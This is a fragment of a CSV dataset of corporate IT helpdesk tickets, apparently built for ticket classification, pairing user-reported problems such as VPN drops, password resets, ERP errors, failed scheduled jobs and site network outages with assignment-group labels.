+_x000D_ +_x000D_ +_x000D_ +",GRP_2 +"erp performances this morning via vpn germany + +received from: blktuiae.jzakfmhw@gmail.com + +hi it +i started an report this morning and it takes normal 10 minute to get the result +current the report ist still running after 35 minutes +do we have a performance issue with erp + +my user id is: wethruiberg + +",GRP_0 +collaboration_platform site is not opening collaboration_platform site is not opening,GRP_0 +"changes in ad hi, there,_x000D_ +my reporting line in the outlook organization system is wrong. i have been relocated from usa to apac and now report to vlpfgjyz dvzrfsbo. my title is sr. engineer, r&d which is not reflected in the system too. please help to correct. ",GRP_2 +"flash player version _x000D_ +_x000D_ +received from: elixsfvu.pxwbjofl@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please help to assist the following issue._x000D_ +_x000D_ +",GRP_0 +"i can't log into the vpn or ticketing_tool. i changed my password this morning and now it is not working from: dartnl porwrloisky [mailto:mreocsnk.swoyxzma@gmail.com] +sent: monday, october 03, 2016 11:35 pm +to: nwfodmhc exurcwkm +subject: rakthyesh login problems with vpn + +hi. + +i can't log into the vpn or ticketing_tool. i changed my password this morning and now it is not working +can you please reset my login? +my username is poloidgthyl + +i keep getting this error: + + +danl poloisky +territory manager + +m (330) 260-5038 +f (330) 343-4705 +mreocsnk.swoyxzma@gmail.com +| 2605 federal signal dr | usa, il 60484 | + +",GRP_0 +summary:when i run wip list and try to do my report i get run time error 1004.pivot table field name not valid. summary:when i run wip list and try to do my report i get run time error 1004.pivot table field name not valid.,GRP_0 +"issues with crm dynamics issues with crm dynamics. need permissions. while opening records user is getting error record is unavailable. the request record was not found or you do not have sufficient permissions to view it._x000D_ +",GRP_22 +"my account will expire soon, please help to extend vvwhtyuy account for one year.. / user : vvwhtyuy / manager name: mikdhyu lihy my account will expire soon, please help to extend vvwhtyuy account for one year.. / user : vvwhtyuy / manager name: mikdhyu lihy",GRP_2 +"do not receive information _x000D_ +_x000D_ +received from: duoyrpvi.wgjpviul@gmail.com_x000D_ +_x000D_ +hi team,_x000D_ +_x000D_ +i originally enquiries about this at the start of august and nothing has been amended._x000D_ +_x000D_ +currently i do not receive any email notifications for the likes of ethics/ethical moments/sipppr's._x000D_ +_x000D_ +and now i have tried to log into ethics via collaboration_platform and received the following error message:_x000D_ +_x000D_ +""welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp.""_x000D_ +_x000D_ +can you please assist aerp in setting up these notifications._x000D_ +_x000D_ +",GRP_2 +blank call blank call,GRP_0 +kicked off of vpn i was kicked off of vpn for the 3rd time today at about 5:45pm. ,GRP_0 +potential security issue with the ios 10 update potential security issue with the ios 10 update ,GRP_0 +outlook error outlook error ,GRP_0 +"urgent help required-outlook to crm mfg_tooltion issue _x000D_ +_x000D_ +received from: fjohugzb.fhagjskd@gmail.com_x000D_ +_x000D_ +hello…_x000D_ +_x000D_ +there is no crm tab in my outlook ribbon, please advise._x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35d92.SID_2628051]_x000D_ +_x000D_ +_x000D_ +_x000D_ +fjohugzb fhagjskd_x000D_ +sr. channel partner specialist_x000D_ +company inc._x000D_ +fjohugzb.fhagjskd@gmail.com_x000D_ +p 800-446-7738 (office)_x000D_ +m 705-760-3495_x000D_ +technical support 800-835-3668_x000D_ +na-company.techsupport@company.com_x000D_ +www.company.com<_x000D_ +_x000D_ +",GRP_0 +unable to connect to wireless user called in for an issue where he was not able to connect to any wireless network. he's using the dell 7350 tablet device. ,GRP_0 +unable to update new password on iphone unable to update new password on iphone,GRP_0 +unable to update passwords for all accounts unable to update passwords for all accounts,GRP_0 +"network outage : cantabria (mecftgobusa) site hard down since 2:53 pm et on 10/03. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __________ 2:53 pm et on 10/03.____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____na____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"ethics training _x000D_ +_x000D_ +received from: rolcgqhx.ehndjmlv@gmail.com_x000D_ +_x000D_ +hello, i started ethics training, it became stuck on page 7_x000D_ +please contact me aerp_x000D_ +_x000D_ +best ",GRP_0 +unable to open/edit expense report for employee unable to open/edit expense report for employee,GRP_0 +"cannot log in + +received from: zwirhcol.narzlmfw@gmail.com + +marty nevins username nevinmw cannot login to a computer. + +j. shrugott tyhuellis +usa facilities mgr. +zwirhcol.narzlmfw@gmail.com +",GRP_0 +"unable to safe attachment on erp when i try to safe a file to a sales order in erp i received the fallowing error _x000D_ +an error occurred when uploading to erp knowledge_x000D_ +provider._x000D_ +",GRP_0 +"sales history not correct in apo (dp) + +received from: koqntham.sqiuctfl@gmail.com + +jochgthen / it team, + +there appears to be an issue with the history in apo. only the september history looks correct. +[cid:image003.jpg@01SID_35SID_25.6236c930] + +",GRP_6 +"job Job_3194 failed in job_scheduler at: 10/03/2016 14:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3194 failed in job_scheduler at: 10/03/2016 14:15:00",GRP_10 +external site not loading external site not loading,GRP_0 +account unlock account unlock,GRP_0 +crm in outlook not working // grethyg crm in outlook not working // grethyg,GRP_0 +windows account unlock windows account unlock,GRP_0 +windows account lockout windows account lockout,GRP_0 +windows password reset windows password reset,GRP_0 +unable to sign in to skype unable to sign in to skype,GRP_0 +getting knocked off vpn was knocked off vpn about 1:10pm et today and then again about 1:45pm et. i have a problem with being knocked off almost every day.,GRP_0 +"all of my purchasing suppliers in the us are stated as do not use. my purchasing catalogs are no longer there. when i try and re-select them all the us supplier say, do not use",GRP_29 +vpn connectivity issues my vpn dropped twice this morning and twice since lunch,GRP_2 +unable to enter an estimated value in opportunities in ms crm unable to enter an estimated value in opportunities in ms crm,GRP_22 +unable to sign in to outlook unable to sign in to outlook,GRP_0 +reset windows password for all accounts reset windows password for all accounts,GRP_0 +unable to login to erp unable to login to erp,GRP_0 +"printing request - request transaction print to a different printer. please contact omiwzbue auvolfhp for info. please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) prtqv0072 & prtqv0001_x000D_ + _x000D_ + • detailed description of the problem ?_x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) _x000D_ + (inwarehouse_tool – delivery note – production order…etc)_x000D_ +erp_x000D_ + • what system or application being used at time of the problem? (ex windows / erp /kls)_x000D_ +erp / windows_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm)SID_34_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? currently qv01 is being routed to qv72. _x000D_ +qv01 is now fixed and i need all erp jobs to print on qv01 not qv72._x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket",GRP_45 +password change password change,GRP_0 +unable to login to skype unable to login to skype,GRP_0 +"i have old version ethics training on my account, please help me. thank you i have old version ethics training on my account, please help me. ",GRP_23 +map i drive map i drive,GRP_0 +crm not synching mails crm not synching mails,GRP_0 +"vpn / erp log out + +received from: mnlvhtug.imvetgoa@gmail.com + +this is getting tiresome being logged out of vpn automatically while working on erp. + +cant seem to get much done if i have to keep logging back on. + +this needs to be fixed.. +[cid:image001.jpg@01SID_35d77.bb454b00] + +mnlvhtug imvetgoa +sr. application engineer +general engineering +company inc. +mnlvhtug.imvetgoa@gmail.com +[cid:image001.png@01d15842.000812f0] + + + + + + +",GRP_0 +"user wish to set lan as first priority for internet user wish to set lan as first priority for internet but my laptop makes wireless first priority and disconnect from lan and connect to wireless + +pc name: ldvl8517832 + + +",GRP_3 +external caller asking for vtykrubi whsipqno's email address external caller asking for vtykrubi whsipqno's email address,GRP_0 +unable to open an website unable to open an website,GRP_0 +unlock erp SID_34 account unlock erp SID_34 account,GRP_0 +"help to install - engineering_tool to other peoples (no-company) hi team, + +i need your help, we have a people than isn't employee company, but needed install engineering_tool in a computer. they're client company, he has id (ccfterguss) to acces site engineering_tool, but in hour that install appears the error in attachment, do you have a instructions to install in computers no-company.",GRP_0 +monitor on wire pc is out. monitor on wire pc is out.,GRP_3 +"unable to find name as sales person in engineering tool unable to find name as sales person in engineering tool. + +phone: ",GRP_25 +windows account lockout windows account lockout,GRP_0 +usa plant : all the switches and servers are down at the site at 11:45 am et on 10/03. usa plant : all the switches and servers are down at the site at 11:45 am et on 10/03. ,GRP_8 +"internet is down lwgytuxq qspdztiw called in for an issue where the internet is completely down and they are unable to access internet, erp and all other applications. + +contact no - ",GRP_4 +"outlook calendar shatryung + +received from: gdnwlkit.jokidavy@gmail.com + +tried to share my calendar in outlook with my manager, rick orelli, and got this error message + + +[cid:image001.png@01SID_35SID_28.edb479b0] + +biintll tujutnis +senior sales engineer wc1 team +gdnwlkit.jokidavy@gmail.com + +www.company.com< + +",GRP_0 +"quotes in workflow from: wjslkzfr jxlbzwrp _x000D_ +sent: monday, october 03, 2016 7:50 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: re: quotes in workflow _x000D_ +_x000D_ +hi , _x000D_ +_x000D_ +i have 2 items in workflow that i am unable to save out. it appears the quote was deleted._x000D_ +3116211904 lines 110 and 120_x000D_ +please help me get these saved out._x000D_ +_x000D_ +",GRP_13 +unable to open outlook after changing password unable to open outlook after changing password,GRP_0 +"unable to login to skype name:ksgytjqr ojdukgzc +language: +browser:microsoft internet explorer +email:ksgytjqr.ojdukgzc@gmail.com +customer number: +telephone: +summary:can't sign into skype",GRP_0 +"ethics + +received from: soujqrxw.mvwduljx@gmail.com + +i have made several attempts to access ethics training and it doesn't connect. + +soujqrxw mvwduljx +company, inc. +sales engineer, usa. +cell +soujqrxw.mvwduljx@gmail.com +customer service ftmill.service@company.com +product support 8 na-company.techsupport@company.com + + + +",GRP_0 +"7350 - no audio device no audio device on the pc, failed to play uacyltoe hxgaycze tone.",GRP_0 +"vpn issues _x000D_ +_x000D_ +received from: uvorgwts.mlqzaicb@gmail.com_x000D_ +_x000D_ +hello i.t. team,_x000D_ +_x000D_ +my vpn will not accept my username and password. please contact me at your earliest convenience._x000D_ +_x000D_ +best ",GRP_0 +password reset from password_management_tool password reset from password_management_tool,GRP_0 +"vip 2: ie crashes on opening mii from ess portal vip 2: ie crashes on opening mii from ess portal + +phone: ",GRP_3 +renew internal certificate for password_management_tool id password manager renew internal certificate for password_management_tool password manager,GRP_2 +"e-mail and certificates not going to lean participants today, i created a lean event in our collaboration_platform lean tracker and after submitting the event, no participant got any e-mail or lean certificate. lean tracker id for the event i created is 16100349662.",GRP_16 +"unable to create a collaboration_platform collaboration_platform workbook on accounts due to duplicate detetection pollaurid is unable to enable sp on an account without getting an error indicating there are potential duplicates. the account is different than the other 31 but does use the same email address, which i believe dup detection is based off of. when he attempts to save anyways, he get a business process error. pls refer to account #81184849 as an example as well as the attached screen shots.",GRP_40 +"issue in viewing pay statements in hr_tool it appears that i have a browser issue in viewing pay statements in hr_tool (see emails below). are you able to help me to view these screens?_x000D_ +_x000D_ + ",GRP_0 +global_telecom_1 number global_telecom_1 number ,GRP_0 +"telephony_software password reset good morning, need a password reset for telephony_software for - vfjsubao yihelxgp + +id: taylthyuoaj + +workstation: ldgl8513929 +",GRP_7 +printer not printing printer not printing,GRP_0 +"cad team code - characteristic can you please add ""manuf eng – us_plant"" ?_x000D_ +",GRP_11 +minitab license issue - cannot run minitab as of early am 10/3/2016 minitab license issue - cannot run minitab as of early am 10/3/2016. minitab throws a license server not found error. this is affecting production in the usa site. ,GRP_3 +"hr_tool time application - this morning i do not have the my time stamp selection on my timecard. i cannot log in and clock hr_tool time application - this morning i do not have the my time stamp selection on my timecard. i cannot log in and clock in. i was here on time this morning and i cannot clock myself in. local it stefyty dabhruji already looked at it, appears there is something wrong with my account of the application. +phone +email ylfqrzxg.jmakitug@gmail.com + +",GRP_0 +"crm issue for iphone _x000D_ +_x000D_ +received from: zfburidj.jmilguev@gmail.com_x000D_ +_x000D_ +hi there,_x000D_ +_x000D_ +i am trying to set up crm on my iphone and it asks for the company's crm address - what is it?_x000D_ +_x000D_ +",GRP_0 +password reset password reset,GRP_0 +url not working url not working,GRP_0 +"password_management_tool password manager change? _x000D_ +_x000D_ +received from: hpqjaory.gfrwmije@gmail.com_x000D_ +_x000D_ +can someone please advise if we are still utilizing password_management_tool password manager?_x000D_ +_x000D_ +i can't connect to this site to do a mass update of my new password to all accounts._x000D_ +_x000D_ +",GRP_0 +reset passwords for qwsjptlo hnlasbed using password_management_tool password reset. the,GRP_17 +reset passwords for qwsjptlo hnlasbed using password_management_tool password reset. the,GRP_17 +"business_client issue _x000D_ +_x000D_ +received from: eqtofwbm.mojfbwds@gmail.com_x000D_ +_x000D_ +hi it support,_x000D_ +_x000D_ +one of our users have problem with running of business_client client. he is still getting error message that net framdntyework is not installed on your pc. i tried to reinstall it but no success._x000D_ +_x000D_ +is it known issue? please can you help us how to solve it?_x000D_ +_x000D_ +",GRP_0 +"hardware item coming wrong in labeling in warehouse_tool . please change erp logic that currently identifies hardware items for warehouse_tool to include rqfhiong zkwfqagb classification of hdw, see attached email. assign to vamthrsee krisyuhnyrt",GRP_20 +"problem opening the password_management_tool password manager _x000D_ +_x000D_ +received from: jmrukcfq.rdyuxomp@gmail.com_x000D_ +_x000D_ +the screenshot below is the message i received when i tried to open the password_management_tool password manager site this morning to reset my password. please advise._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"circuit outage: india carrier, company-ap-ind-carrier-891-dmvpn-rtr01 is down at 7am et on 10/03. site is up on secondary. what type of outage: _____network x_____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _no________ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _7am et on 10/03_____________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? no_______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _no______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? yes______ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ______yes__ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? __na_________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? __yes_____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"passwords to be reset for erp SID_34 _x000D_ +_x000D_ +received from: dpuifqeo.eglwsfkn@gmail.com_x000D_ +_x000D_ +please reset the following passwords in erp SID_34 – us_plant employees_x000D_ +_x000D_ +knemilvx dvqtziya_x000D_ +nabjwvtd sprhouiv_x000D_ +",GRP_0 +reset the password for jmusidzr sratdeol on erp / production / hcm reset the password for jmusidzr sratdeol on erp / production / hcm,GRP_0 +"united kingdom has problems with making outbound calls united kingdom has issues with making outbound calls._x000D_ +this is on the telephony_software as on the siemens pbx. ",GRP_7 +"a user was able to add a zj partner in SID_34 and they don't have security to do so. please advise how this can be fixed. someone in the service center was able to successfully add a zj partner to an existing customer master account in SID_34._x000D_ +we set it up that only the 9 users assigned to the sd:cust_mast_partner_func_zj role would have add/edit/delete access to this partner function._x000D_ +here is a summary of what happened per lillanna:_x000D_ +he (ujxvrlzg pkaegicn) was using SID_34 ecc. what is strange is that the system gave him a warning that he is not allowed to add zj partner function. he could not even save changes until he cleared the zj field. but it seems the system added the zj partner function anyway when he saved the account. (the account was 81030623 and he added zj partner of 81907354.)_x000D_ +_x000D_ +",GRP_13 +"pos data - september, 2016. please provide pos data for the month of september '16._x000D_ +_x000D_ +",GRP_9 +"password reset + +from: nwfodmhc exurcwkm +sent: monday, october 03, 2016 3:26 pm +to: 'shivakuhdty.s@company.com' +cc: tiyhum kuyiomar +subject: password reset + +hi shivakuhdty, + +your account was locked out, we unlocked your account. please try login with your existing password as you are ess user we have not changed your password. please replay back if you have any issue. + +",GRP_0 +"outlook security certificate notification _x000D_ +_x000D_ +received from: vsiemxgh.lgeciroy@gmail.com_x000D_ +_x000D_ +dear sir / mam,_x000D_ +_x000D_ +kindly refer below screenshot where this notification is prompting again and again._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35d7d.f769a8a0]_x000D_ +_x000D_ +best ",GRP_0 +"sales office mw01 is not defined for sales area 1409 0sartlgeo lhqksbdx0 when we opened new order 35093500 we got communicate tahat order is incomplete._x000D_ +sale office is not determinated. when we try enter right sales office mw01 - i can't add the chanhes_x000D_ +print screen in attached",GRP_13 +"job Job_593 failed in job_scheduler at: 10/03/2016 04:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/03/2016 04:04:00",GRP_8 +"issue is not resolved. error : @80@validity of certificate from list with pse > ssl browser:microsoft internet explorer +email:gqcyomwf.opjaiwcu@gmail.com +customer number: +telephone: +summary:erp error: + +@80@validity of certificate from list with pse > ssl +client (standard) < ends in 2 days,",GRP_14 +"reset the password for dqowbefk prgxwzco on erp / production / hcm i've just changed my all passwords because of expiration but erp does not accept the new password, it says that the name and password is not correct. please fix it , ",GRP_0 +"engineering tool - erp system message a few users have reported the seeing the attached error message today regarding certificate validity,_x000D_ +",GRP_0 +bex analyzer and bex designer is not working. bex analyzer and bex designer is not working.,GRP_19 +"erpsys- certificate errors + +received from: qgrbnjiu.hidzlfma@gmail.com + +hi + +i have just started having below system massage and it prompts every time i move from erp nord to nord, bothering me. please advise what this is about, and what should i do on this? + +[cid:image001.png@01SID_35d90.73d9b7b0] + + + +qgrbnjiu hidzlfma +manager, warehouse & distribution +qgrbnjiu.hidzlfma@gmail.com + + + +本通信は記載された人物のみを対象として使用されるものとし、特権的かつ機密情報を含み、適用される法律に基づいた情報開示から除外されるものとします。正当な受取人以外のいかなる第三者による本通信の配布、流通、再販は固く禁じられています。また本通信が誤って送信された場合は、送信者に連絡の上、本通信を削除してください。 +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_14 +office has to be upgraded to 2016 office has to be upgraded to 2016,GRP_0 +reset passwords for bxeagsmt zrwdgsco using password_management_tool password reset. the,GRP_17 +reset passwords for bxeagsmt zrwdgsco using password_management_tool password reset. the,GRP_17 +"look for identifying the root cause & solution - inter-co intransit 8058329437 dn 9169430548 has been received on august 11, 2014 but the same dn, mm#, qty have arrived on october 3, 2016. duplicated. please help finding the root cause why the duplicated dn could have been pgi'd. since the dn was already received, plant_317 is not able to perform the gr against this intransit, please provide the best solution to process the gr.",GRP_18 +"engineering_tool not working hello + +please support our dealer for engineering_tool installation. contact details below: + + +best ",GRP_0 +"server access rights for hpmjtgik blrmfvyh help desk_x000D_ +_x000D_ +please usa an access right to hpmjtgik blrmfvyh to following folder :_x000D_ +_x000D_ +\\HostName_47\departments\finance_x000D_ +_x000D_ +she is new staff for eh japan / finance department and i am her reportncqulao qauighdpnager._x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_12 +"access to m drive please provide access to mtb mt sales drive ._x000D_ +_x000D_ +for any clarification pl call me back_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_12 +"your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas i personal device._x000D_ +_x000D_ +",GRP_0 +"lbxugpjw cnmfbdui-mobile phone changed _x000D_ +_x000D_ +received from: lbxugpjw.cnmfbdui@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +_x000D_ +i changed my mobile phone and below informations belong to my own personal phone.could you provide to use my new mobile phone device for mails._x000D_ +_x000D_ +",GRP_0 +"network outage:russia russia - warehouse network is down since 12:35 am et on 10/03/16 what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __________12:35 am et on 10/03/16 ____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ____no__ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____no______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _____na__ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"account expired- vvamirsdwnp - pallutyr not able to log-in from: kuhyndan lalthy +sent: monday, october 03, 2016 9:52 am +to: nwfodmhc exurcwkm +cc: qjgnkhso vahgolwx +subject: re: user id : vvamirsdwnp - pallutyr not able to log-in + +pallutyr who is having user id vvamirsdwnp not able to log-in the window etc. can you check it urgently? kindly provide access upto december 31, 2016. + +",GRP_2 +lehsm012 & lehsm013 are down at at usa company since 4:16 am on 10/01 et lehsm012 & lehsm013 are down since 4:16 am on 10/01 et,GRP_12 +network port not working network port is not work and wifi network is very poor,GRP_19 +"unable to post billing to account - billed quantity 0 unable to post billing to account - billed quantity 0_x000D_ +_x000D_ +1325 ic5314 i 27.09.2016 ziv vvsallz 28.09.2016 ic5314 0159216101_x000D_ +1325 ic5314 i 29.09.2016 ziv oprbatch 29.09.2016 ic5314 0159225544_x000D_ +",GRP_13 +need help in changing password on password_management_tool need help in changing password on password_management_tool,GRP_0 +"volume: c:\ label:sys-lhqsm68356 543aa385 on server: lhqsm68356 is over volume: c:\ label:sys-lhqsm68356 543aa385 on server: lhqsm68356 is over +85% space consumed. space available: 4.2 g ",GRP_12 +"job bkwin_search_server_prod_daily failed in job_scheduler at: 10/02/2016 23:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_search_server_prod_daily failed in job_scheduler at: 10/02/2016 23:20:00",GRP_8 +"job hr_payroll_na_u2 failed in job_scheduler at: 10/02/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 10/02/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 10/02/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 10/02/2016 23:00:00",GRP_10 +"job hr_payroll_na_u1 failed in job_scheduler at: 10/02/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 10/02/2016 23:00:00",GRP_10 +reset passwords for prgewfly ndtfvple using password_management_tool password reset. the,GRP_17 +HostName_206:volume: /dev/SID_56ora is over 98% space consumed. HostName_206: volume: /dev/SID_56ora on server: HostName_206 is over 98% space consumed. space available: 491 m,GRP_1 +always upservice.exe is not running on HostName_521 always upservice.exe is not running on HostName_521,GRP_14 +"wireless outage again-taiwan 1003 _x000D_ +_x000D_ +received from: ticqvhal.vgokzesi@gmail.com_x000D_ +_x000D_ +hello~_x000D_ +_x000D_ +wireless(companysecure) outage of taiwan._x000D_ +please help~_x000D_ +_x000D_ +",GRP_4 +"job Job_2549 failed in job_scheduler at: 10/02/2016 20:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2549 failed in job_scheduler at: 10/02/2016 20:00:00",GRP_10 +"job Job_562 failed in job_scheduler at: 10/02/2016 17:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_562 failed in job_scheduler at: 10/02/2016 17:36:00",GRP_8 +"zifujpvr vxfkwaqh _x000D_ +_x000D_ +received from: makiosjc.kxapdhnm@gmail.com_x000D_ +_x000D_ +zifujpvr vxfkwaqh's email is not working. can i get an update on this? his email is still not working._x000D_ +_x000D_ +",GRP_0 +"job Job_3049 failed in job_scheduler at: 10/02/2016 13:56:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3049 failed in job_scheduler at: 10/02/2016 13:56:00",GRP_8 +"job snp_heu_2_regen failed in job_scheduler at: 10/02/2016 12:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_2_regen failed in job_scheduler at: 10/02/2016 12:20:00",GRP_6 +"email not working - ""the server couldn't be contacted"" message contact phone - +company email not working - ""the server couldn't be contacted"" error message +owa also not working",GRP_0 +ie browser issue : website not loading its contents completely ie browser issue : website not loading its contents completely,GRP_0 +"job bwhrattr failed in job_scheduler at: 10/02/2016 10:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrattr failed in job_scheduler at: 10/02/2016 10:15:00",GRP_9 +"frequent account lock out frequent account lock out _x000D_ +ran lock out status.._x000D_ +account was getting locked out from one of the wifi devices.._x000D_ +took control of machine and started credential manager services.._x000D_ +deleted bunch of passwords saved in credential manager .._x000D_ +asked user to remove company secure from mobile device and keep wifi disabled for couple of days..and can enable it when at home._x000D_ +also undocked computer and docked it back ..tried login in..it worked..._x000D_ +locked system and unlocked it with no difficulty.._x000D_ +keeping account/ticket under observation._x000D_ +arranging call back tomorrow as i will be ooo. ",GRP_0 +"cannot access mail from any device using owa or outlook i lost access to mail on 9/29. i went in and checked the o365 setting for my account and found the error attached (error1) on my account. i removed my e5 license and applied and e4 to see if that would resolve the issue but i still can't get into my email. if i try accessing my account via owa i get attrachment error2_x000D_ +_x000D_ +this may be an issue with all e5 licenses, they have all expired. i cannot receive email so i will not receive any replies or emails concerning this ticket.",GRP_26 +"reminder for approval of requisition 01453742 , already approved this request in erp reminder for approval of requisition 01453742 , already approved this request in erp",GRP_29 +"job Job_3049 failed in job_scheduler at: 10/02/2016 03:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3049 failed in job_scheduler at: 10/02/2016 03:37:00",GRP_8 +"job Job_3051 failed in job_scheduler at: 10/02/2016 03:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3051 failed in job_scheduler at: 10/02/2016 03:39:00",GRP_8 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/02/2016 01:28:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/02/2016 01:28:00",GRP_8 +"only erp running slow in Israel.internet is working fine. only erp running slow. +internet is working fine. + +all transactions are running slow. +contact # : +erp system : SID_34 (all transactions) + +checking with dac team. +",GRP_14 +"job Job_1142 failed in job_scheduler at: 10/02/2016 00:14:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1142 failed in job_scheduler at: 10/02/2016 00:14:00",GRP_9 +"job mm_zscr0099_wkly_qux1 failed in job_scheduler at: 10/02/2016 00:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_wkly_qux1 failed in job_scheduler at: 10/02/2016 00:11:00",GRP_8 +"job pp_EU_tool_netch_keheu1 failed in job_scheduler at: 10/02/2016 00:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_keheu1 failed in job_scheduler at: 10/02/2016 00:09:00",GRP_8 +"want to make sure if erp is in maintenance right now name:kvrmnuix yicpojmf +language: +browser:microsoft internet explorer +email:qiwthyang@company.com +customer number: +telephone: +summary:cannot connect to company server",GRP_0 +"job Job_1665 failed in job_scheduler at: 10/01/2016 18:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1665 failed in job_scheduler at: 10/01/2016 18:25:00",GRP_8 +"job oemcold failed in job_scheduler at: 10/01/2016 15:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job oemcold failed in job_scheduler at: 10/01/2016 15:09:00",GRP_8 +"job Job_1108w failed in job_scheduler at: 10/01/2016 15:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1108w failed in job_scheduler at: 10/01/2016 15:09:00",GRP_8 +"job Job_3049 failed in job_scheduler at: 10/01/2016 14:26:00 received from: monitoring_tool@company.com_x000D_ 